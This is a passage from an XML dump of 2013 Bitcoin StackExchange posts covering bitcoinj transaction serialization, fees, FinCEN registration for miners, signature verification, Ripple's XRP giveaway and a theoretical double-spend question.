  <row Id="8474" PostTypeId="2" ParentId="8469" CreationDate="2013-03-18T16:33:41.203" Score="1" Body="&lt;p&gt;Technically you don't &lt;em&gt;need&lt;/em&gt; to have an updated blockchain to receive coins: just create an address and anyone will be able to send to that address. Until the blockchain is updated, you won't see those incoming coins, so you won't be able to spend them, but you will as soon as the update finishes.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-18T16:33:41.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8475" PostTypeId="1" CreationDate="2013-03-18T16:54:44.647" Score="3" ViewCount="1837" Body="&lt;p&gt;I want to use this tool: &lt;a href=&quot;http://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/pushtx&lt;/a&gt; to push transaction. I don't understand the input data. It says it is hex string representation. I've read information about that in the raw transaction of the RPC API, but I am working with bitcoinj, it there a way to get this hex string ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I want to do that to compose and broadcast a transaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;final StringBuilder sb = new StringBuilder();&#xA;Formatter formatter = new Formatter(sb);&#xA;try {&#xA;    ByteArrayOutputStream os = new ByteArrayOutputStream();&#xA;    transaction.bitcoinSerialize(os);&#xA;    byte[] bytes = os.toByteArray();&#xA;    for (byte b : bytes) {&#xA;        formatter.format(&quot;%02x&quot;, b);  &#xA;    }&#xA;&#xA;    return sb.toString();&#xA;}catch (IOException e) {&#xA;    return &quot;Couldn't serialize to hex string.&quot;;&#xA;} finally {&#xA;    formatter.close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3408" LastEditorUserId="3408" LastEditDate="2013-03-18T18:46:35.720" LastActivityDate="2014-09-12T12:51:39.340" Title="How to get hex string from transaction in bitcoinj" Tags="|transactions|bitcoinj|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8476" PostTypeId="2" ParentId="5508" CreationDate="2013-03-18T17:50:19.423" Score="2" Body="&lt;p&gt;A good way to see this (and also a non-automated method to do this) is available through BrainWallet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-18T17:50:19.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8478" PostTypeId="2" ParentId="6055" CreationDate="2013-03-18T20:18:05.303" Score="0" Body="&lt;p&gt;namecheap.com accepts bitcoin and free domain info block (12 months) but not sure about the anonymity, maybe with a bitcoin purchase.   &lt;/p&gt;&#xA;" OwnerUserId="3415" LastActivityDate="2013-03-18T20:18:05.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8479" PostTypeId="1" CreationDate="2013-03-18T21:22:24.180" Score="1" ViewCount="1161" Body="&lt;p&gt;Bitcoiners. I have been trying to seek out a &lt;em&gt;legit&lt;/em&gt; Bitcoin Mixing service, and I just don't feel secure by putting my coins in their hands. I have scoured the internet trying to find a tutorial on how to make a .onion Mixing Service. I want to be able to help others and me become safer with transactions, and I am running out of luck. If you know how to make a Mixing Service, please let me know how, or give me a link. Also, I would like to be able to have a small transaction fee [E.G. Base Fee of: 0.75%; For every transaction/day an additional 0.002 BTC is taken]. I am really feeling annoyed that I can't find an answer ANYWHERE, so please reply to me ASAP with an answer on how to host a service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am using a Windows XP [Dell Desktop] and Windows Vista [Toshiba Satellite] to host it on. If you have something I ABSOLUTELY NEED to download for the service, you can send it to adaptornode@tormail.org&lt;/p&gt;&#xA;" OwnerUserId="3416" LastActivityDate="2014-05-25T12:38:25.860" Title="How to make a Hidden Tor Bitcoin Mixing Service?" Tags="|services|server|tor|mixing|" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-20T07:20:28.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="8480" PostTypeId="1" AcceptedAnswerId="8484" CreationDate="2013-03-18T21:39:29.973" Score="8" ViewCount="662" Body="&lt;p&gt;I'm making some test for a bitcoin merchant webpage. I want to test different actions without paying transaction fees everytime, but I can't since I use the same few bitcoins for everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sooo how long should I wait for my bitcoins to be transfered wihout fee?&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="4525" LastEditDate="2013-04-20T14:29:57.587" LastActivityDate="2013-04-20T14:29:57.587" Title="How old should be my bitcoins to send them again without transaction fee?" Tags="|bitcoind|transaction-fees|time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8481" PostTypeId="2" ParentId="8480" CreationDate="2013-03-18T22:01:42.403" Score="-2" Body="&lt;p&gt;In the Bitcoin protocol, fees are totally optional.  You can have a fee of 0btc or 10btc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once there are more transactions then what fits into a block, which isn't now, miners will choose what transactions to include into their block, and they will prefer transactions with a fee attached, because they get that fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, fees don't help process a transaction any sooner or better, but in the future it's likely to make a difference.  This totally depends on what happens in the future, and is very much up for debate.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2013-03-18T22:01:42.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8482" PostTypeId="2" ParentId="8473" CreationDate="2013-03-18T22:05:32.867" Score="0" Body="&lt;p&gt;They compare how many BTC you get per day if you mine BTC, vs how many BTC you get per day if you mine LTC, TC, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The percentage is how much extra you get, but it makes a lot of assumptions and generalizations. &lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2013-03-18T22:05:32.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8483" PostTypeId="1" AcceptedAnswerId="8535" CreationDate="2013-03-18T23:22:59.563" Score="5" ViewCount="632" Body="&lt;p&gt;I was not sure how to formulate the question title. What I want to achieve is the same as VanityGen and many other tools do to create an address starting with a predefined part, but with private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I want to create a Bitcoin public/private key pair of which the private key begins with a string I define.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there tools that already do this? If not, is it possible? How should it be done theoretically? &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2021-03-12T16:37:45.297" Title="Is it possible to create an address from a predefined private key?" Tags="|address|private-key|vanity-address|vanitygen|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8484" PostTypeId="2" ParentId="8480" CreationDate="2013-03-18T23:31:55.287" Score="8" Body="&lt;p&gt;As the coins &quot;age&quot; they will have a higher priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the algorithm, but believe it is roughly like a day or so and then the age of the coin no longer is a factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you are seeing minimum fees for coins more than a day after you've received them, it is because of other reasons, such as having outputs at amounts below 0.01 BTC.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-18T23:31:55.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8485" PostTypeId="1" AcceptedAnswerId="8542" CreationDate="2013-03-19T00:45:10.910" Score="2" ViewCount="5899" Body="&lt;p&gt;I assume they run bitcoind for the network connectivity.  But what about for the work allocation? &lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2016-02-21T09:21:26.643" LastActivityDate="2016-02-21T09:21:26.643" Title="What software do mining pools run?" Tags="|mining-pools|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8486" PostTypeId="1" AcceptedAnswerId="8487" CreationDate="2013-03-19T01:48:05.620" Score="18" ViewCount="6850" Body="&lt;p&gt;As seen in recent news, FinCEN has issued a statement on its classification of virtual currencies: &lt;a href=&quot;http://www.fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot;&gt;http://www.fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hypothetically suppose I mine BTC and sell it on MtGox for USD. Do I need to register with FinCEN as a Money Transmitter(MT)? My interpretation of the above document indicates yes, I do; but I could also see MtGox (which is registered with FinCEN) maintaining my regulatory compliance, via proxy.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="5406" LastEditDate="2016-02-08T15:38:59.500" LastActivityDate="2016-02-08T15:38:59.500" Title="Do USA-based miners need to register with FinCEN?" Tags="|legal|mining-profitability|usa|regulation|fincen|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8487" PostTypeId="2" ParentId="8486" CreationDate="2013-03-19T02:02:06.170" Score="10" Body="&lt;p&gt;No, the fincen guidance you posted has it in plain english that you do not. A miner is simply a user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; c. De-Centralized Virtual Currencies&#xA;&#xA;        A final type of convertible virtual currency activity involves a &#xA;de-centralized convertible virtual currency (1) that has no central &#xA;repository and no single administrator, and (2) that persons may obtain &#xA;by their own computing or manufacturing effort.&#xA;&#xA;        A person that creates units of this convertible virtual currency and &#xA;uses it to purchase real or virtual goods and services is a user of the &#xA;convertible virtual currency and not subject to regulation as a money transmitter. &#xA;By contrast, a person that creates units of convertible virtual currency and sells&#xA;those units to another person for real currency or its equivalent is &#xA;engaged in transmission to another location and is a money transmitter....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the exchange you are buying/selling bitcoins. The exchange carries the burden of giving you legal tender or a different cryptocurrency. The exchange carries the burden of regulation, according to the FinCen regulations. In the US, the equivalent of real currency is only treasury bonds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Fincen regulations only take affect at certain dollar amounts, if you feel you need to be concerned about them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try to get even further clarification from the Treasury yourself, because on this matter it doesn't matter what kind of legal counsel you ask, nobody knows all the semantics until an issue comes up that is actually decided in the courts.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-03-19T02:02:06.170" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8489" PostTypeId="2" ParentId="8486" CreationDate="2013-03-19T02:42:02.830" Score="2" Body="&lt;p&gt;&lt;strong&gt;Maybe - check with a lawyer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to register if&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You use a website (MtGox or Coinlab) to buy coins&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You use coins to buy &quot;stuff&quot; (Namecheap, alpaca socks, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might have to register if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You run a wallet hosting company&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The FINCen law requires people to register if they&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are a mixing service&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Participate in the &lt;a href=&quot;http://bitcoin-otc.com/vieworderbook.php&quot; rel=&quot;nofollow&quot;&gt;Bitcoin OTC market&lt;/a&gt; and issue one on one trades with people for cash (or cash substitute)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run an online trading site (MtGox, or similar)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suspect the same requirements apply for Money Orders:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Anyone who accepts Bitcoins for any software or service (&lt;a href=&quot;http://www.fincen.gov/financial_institutions/msb/materials/en/prevention_guide.html&quot; rel=&quot;nofollow&quot;&gt;over $1,000&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, I do understand your concern in this sentence:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By contrast, a person that creates units of convertible virtual currency and sells those units to another person for real currency or its equivalent is  engaged in transmission to another location and is a money transmitter&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So what does a Bitcoin miner &lt;em&gt;actually do&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It performs a service for the Bitcoin network and gets paid for it in the form of transaction fees.&lt;br&gt;&#xA;This value increases over time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is hardware that competes to solve a math problem and wins new coins for that block.&lt;br&gt;&#xA;This value decreases over time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a Miner that probably MUST register: A solo miner is configured to not broadcast Tx to other hosts. The miner accepts a Tx with a huge fee. This money substitute in exchange for a service is covered not by the FinCEN note in the OP's post, but &lt;a href=&quot;http://www.fincen.gov/financial_institutions/msb/materials/en/prevention_guide.html&quot; rel=&quot;nofollow&quot;&gt;implied by this link.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's a grey area that isn't well described, and we should look for more guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't like saying mining &quot;creates units of this convertible virtual currency&quot;.  I think the actual creation occurred in 2009 when the Bitcoin Protocol was launched. I would argue that the protocol &quot;creates&quot; the coins, and USA based miners are just claiming them.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-03-22T22:53:13.727" LastActivityDate="2013-03-22T22:53:13.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8494" PostTypeId="1" CreationDate="2013-03-19T05:21:33.617" Score="3" ViewCount="561" Body="&lt;p&gt;What are the requirements of a transaction being included in a block? How does a miner verify that a transaction meets such requirements?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-02-21T09:20:09.000" LastActivityDate="2016-02-21T09:20:09.000" Title="What are the requirements of a transaction being included in a block?" Tags="|protocol|block|transaction-verification|transaction-selection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8499" PostTypeId="2" ParentId="8486" CreationDate="2013-03-19T08:05:13.717" Score="1" Body="&lt;p&gt;&quot;A person that creates units of this convertible virtual currency and uses it to purchase real or virtual goods and services is a user of the convertible virtual currency and not subject to regulation as a money transmitter. By contrast, a person that creates units of convertible virtual currency and sells those units to another person for real currency or its equivalent is engaged in transmission to another location and is a money transmitter. In addition, a person is an exchanger and a money transmitter if the person accepts such de-centralized convertible virtual currency from one person and transmits it to another person as part of the acceptance and transfer of currency, funds, or other value that substitutes for currency.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A person is defined as this, even if they are an MSB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;FinCEN’s regulations define “person” as “an individual, a corporation, a partnership, a trust or estate, a joint stock company, an association, a syndicate, joint venture, or other unincorporated organization or group, an Indian Tribe (as that term is defined in the Indian Gaming Regulatory Act), and all entities cognizable as legal personalities.” &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, you have to register as a money transmitter if you sell your bitcoins after you have mined them. There is no designated threshold for money transmitters. &lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2013-03-19T08:05:13.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8500" PostTypeId="1" CreationDate="2013-03-19T10:55:32.913" Score="7" ViewCount="1547" Body="&lt;p&gt;I've skimmed through the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification&lt;/a&gt; and it seems that when sending someone bitcoins, I would sign the transaction data (not quite sure which parts exactly) with my private key, so that people could verify it with my public key, &lt;strong&gt;but&lt;/strong&gt; my address is a digest of my public key, so where do people get my public key from?&lt;/p&gt;&#xA;" OwnerUserId="3431" LastActivityDate="2013-03-19T11:47:18.183" Title="If addresses are hashes of public keys, how are signatures verified?" Tags="|transactions|address|public-key|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8501" PostTypeId="2" ParentId="8500" CreationDate="2013-03-19T11:47:18.183" Score="2" Body="&lt;p&gt;The transaction's INPUT has ScriptSig which is both the signature as well as the public key.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Transaction#Data&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Transaction#Data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-19T11:47:18.183" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8511" PostTypeId="2" ParentId="8494" CreationDate="2013-03-19T14:04:04.743" Score="1" Body="&lt;p&gt;From the Bitcoin wiki (as-of March 19, 2013):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transactions are cryptographically signed records that reassign&#xA;  ownership of Bitcoins to new addresses. Transactions have inputs -&#xA;  records which reference the funds from other previous transactions -&#xA;  and outputs - records which determine the new owner of the transferred&#xA;  Bitcoins, and which will be referenced as inputs in future&#xA;  transactions as those funds are respent.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Each input must have a&#xA;  cryptographic digital signature that unlocks the funds from the prior&#xA;  transaction. Only the person possessing the appropriate private key is&#xA;  able to create a satisfactory signature; this in effect ensures that&#xA;  funds can only be spent by their owners.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Each output determines which&#xA;  Bitcoin address (or other criteria, see Scripting) is the recipient of&#xA;  the funds.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In a transaction, the sum of all inputs must be equal to or&#xA;  greater than the sum of all outputs. If the inputs exceed the outputs,&#xA;  the difference is considered a transaction fee, and is redeemable by&#xA;  whoever first includes the transaction into the block chain.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A special&#xA;  kind of transaction, called a coinbase transaction, has no inputs. It&#xA;  is created by miners, and there is one coinbase transaction per block.&#xA;  Because each block comes with a reward of newly created Bitcoins (e.g.&#xA;  50 BTC for the first 210,000 blocks), the first transaction of a block&#xA;  is, with few exceptions, the transaction that grants those coins to&#xA;  their recipient (the miner). In addition to the newly created&#xA;  Bitcoins, the coinbase transaction is also used for assigning the&#xA;  recipient of any transaction fees that were paid within the other&#xA;  transactions being included in the same block. The coinbase&#xA;  transaction can assign the entire reward to a single Bitcoin address,&#xA;  or split it in portions among multiple addresses, just like any other&#xA;  transaction. Coinbase transactions always contain outputs totaling the&#xA;  sum of the block reward plus all transaction fees collected from the&#xA;  other transactions in the same block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Protocol_specification#Transaction_Verification&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Protocol_specification#Transaction_Verification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-19T14:04:04.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8512" PostTypeId="2" ParentId="3508" CreationDate="2013-03-19T15:09:26.663" Score="0" Body="&lt;p&gt;Hashr.org has an affiliate program &quot;HASHR.8&quot; (hashrate) that gives it's affiliates 8% of every sale they bring to the site.  Payable in Bitcoin or Litecoin&lt;/p&gt;&#xA;" OwnerUserId="3438" LastActivityDate="2013-03-19T15:09:26.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8513" PostTypeId="2" ParentId="5403" CreationDate="2013-03-19T16:45:20.277" Score="2" Body="&lt;p&gt;An interesting question, but I don't think block difficulty is aimed to solve this problem. However, I anticipate that the free market would solve the question as posed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, if we have an off-peak hour that provides a lower expectation of BTC per hour in transaction fees, then we will see the miners with higher costs per hour in operation drop out. In an ideal economic world, equilibrium will be reached when the value of the block's transactions fees equals the sum of the highest cost per hash miner still mining multiplied the remaining hashing power. (In short, equilibrium will be reached when enough miners drop out that the remaining miners can make money. In the real world, some miners may not be able to react quickly enough to decide whether to hash a block or not or you might have some hobbyists that hash regardless of whether it is profitable, but it should be close enough to reach an equilibrium.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two interesting parts to this the question in my mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first comes from the fact that the question highlights the fact that the rewards from blocks will not only become more reliant on transaction fees over time, but they will become increasingly variable. It is an interesting and reasonable hypothesis that will we will see &quot;opportunistic mining&quot; at some point, i.e. rigs that will elect whether or not to mine a particular block based on the transaction fee total for that block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second interesting part arises if we assume that there may be a correlation between the size of a miner's mining capacity and the efficiency of their mining operation. In the future, the largest miners may well be large ASIC miners that have (because of the size of their operation) intentionally placed their rigs in low electricity cost areas. Meanwhile the small miners might be &quot;amateur&quot; miners that are GPU mining with spare equipment or with old gear and therefore high relative operating costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, this &quot;opportunistic mining&quot; might exacerbate the 51% problem, since the number of miners mining would not only decrease during the off peak hours, but the hashing power would likely remain in the hands of the largest players. Potentially allowing for collusion if the number of players became small enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nonetheless, I don't think it fundamentally changes the equation for mining. In fact, I expect that the the rise of ASIC based mining will push more of the costs of mining into fixed costs. Which would encourage price equilibrium at well above operating costs, even during off peak hours.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-03-19T16:45:20.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8514" PostTypeId="1" CreationDate="2013-03-19T16:52:13.927" Score="3" ViewCount="416" Body="&lt;p&gt;Will every Bitcoin exchange be under pressure to also operate as a Ripple gateway in order to gain access to the additional liquidity that Ripple creates for markets?&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2013-03-19T22:51:04.287" Title="How will Ripple affect Bitcoin exchanges?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8515" PostTypeId="1" CreationDate="2013-03-19T17:02:28.747" Score="7" ViewCount="760" Body="&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/a/781/371&quot;&gt;This question on crypto.SE&lt;/a&gt; describes how preimage attacks are avoided in the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For a second preimage attack:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;hash(x) = hash(y)&lt;/code&gt; implies &lt;code&gt;hash(hash(x)) = hash(hash(y))&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So it wouldn't protect against a direct preimage attack. Bitcoin&#xA;  builds a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;Merkle&#xA;  tree&lt;/a&gt;&#xA;  for &lt;code&gt;a b c&lt;/code&gt; like this:&#xA;  &lt;code&gt;hash(hash(hash(a)+hash(b))+hash(hash(c)+hash(c)))&lt;/code&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can see again that if someone found a &lt;code&gt;c'&lt;/code&gt; that has the same&#xA;  SHA-256 hash as &lt;code&gt;c&lt;/code&gt;, they could substitute it and the final result&#xA;  would still be the same.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;While it's true that this might improve resistance to first preimage&#xA;  attacks, there aren't any obvious cases where those would matter -- an&#xA;  attacker typically would have the plaintext that generated the hash.&#xA;  (And preimage attacks on addresses seem far fetched, given that the&#xA;  ECDSA operation is in there.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Suppose two offline transactions are generated with the same &lt;code&gt;c'&lt;/code&gt; hash.  Assume it takes several months/years to create each Tx.   Then:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The attacker creates a Tx to a merchant&lt;/li&gt;&#xA;&lt;li&gt;The attacker creates  a second Tx with the same inputs as #1.  Then a private key is regenerated until the Tx hash equals the hash of c'.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How does the Bitcoin network respond to these competing transactions with the same hash?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How would the outcome be different if the transaction was non-standard, and therefore not replicated across miners?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2015-05-08T09:27:13.333" Title="Possible to create a double spend attack by replacing a Tx in the merkle tree?" Tags="|transactions|security|doublespend|hash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8516" PostTypeId="1" CreationDate="2013-03-19T17:18:40.870" Score="6" ViewCount="364" Body="&lt;p&gt;When looking at transaction details (under summary of recent transactions) on &lt;a href=&quot;http://blockchain.info/&quot;&gt;blockchain.info&lt;/a&gt; what is Network Propagation, and what does the value greater than 100% mean exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example Network Propagation 120% - 2168 Nodes - (Excellent)&lt;/p&gt;&#xA;" OwnerUserId="3136" LastActivityDate="2013-03-20T13:04:48.830" Title="Network Propagation over 100%" Tags="|network|blockchain.info|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8517" PostTypeId="2" ParentId="8515" CreationDate="2013-03-19T17:37:39.083" Score="6" Body="&lt;p&gt;You should also know that the task of finding an SHA256 collision (same hash for two different byte arrays) is a pretty complex one. Miners are spending terahashes per second to find a hash which is smaller than a target. An exact match would be very hard to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the attacker in this task is required to be a miner with enough power to solve and broadcast a [special] block to be included in the main chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I can say that this task requires so much hashing power - so if someone has enough power for that, he may perform a less complex 51% attack rather than this one.&lt;/p&gt;&#xA;" OwnerUserId="3440" LastEditorUserId="3274" LastEditDate="2013-03-19T22:13:44.370" LastActivityDate="2013-03-19T22:13:44.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8518" PostTypeId="2" ParentId="7622" CreationDate="2013-03-19T18:57:36.800" Score="1" Body="&lt;p&gt;The &quot;ideal&quot; distribution strategy for OpenCoin, is to give away the 50 billion XRP in such a way that spurs adoption but does not create a surplus which will depress prices. Adoption is spurred by handing out generous helpings of XRP to a small audience. This is what they are doing by handing out 50,000 XRP to every Bitcointalk.org user that has a sufficiently aged forum account. Every week they have been reducing the amount given out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very soon they will give out just enough XRP to fund the reserve requirement for an account, plus a couple of trust lines and a couple of order book offers (About 400 XRP at the current requirements).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They want to make sure that each individual can only receive a free serving of XRPs once, or else they will have a surplus of XRP that can be sold, depressing the price. I would expect they would leverage existing identification services such as OpenID, Facebook, Google+ type of systems by creating apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could also leverage the gateways, which already collect personal information on every user as part of &quot;Know Your Customer&quot; and &quot;U.S. PATRIOT Act.&quot; By hashing this information according to some standard method, it would be possible to filter duplicates across gateways.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2013-03-19T18:57:36.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8519" PostTypeId="1" CreationDate="2013-03-19T19:00:24.987" Score="5" ViewCount="1438" Body="&lt;p&gt;Out of the 100 billion XRP that can ever exist, the founders kept 20 billion while OpenCoin received the remainder of 80 billion. From that 80 billion OpenCoin will sell 30 billion to fund ongoing development beyond the initial angel investment, and the remaining 50 billion will be given away to spur adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long will it take OpenCoin to distribute the remaining 50 billion? One year from now, how many XRP will OpenCoin give away to each unique new user? What is the smallest amount that OpenCoin will eventually give away, over time? If there is no specific answer to the time, can OpenCoin provide a range (for example, between 5 and 50 years)? Is there a reasonably estimable lower limit on the time required to give away the 50 billion? Is there an upper limit on how much will be handed out (i.e. will anyone ever receive 50,000 XRP again as part of the giveaway)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answers, even if partial, 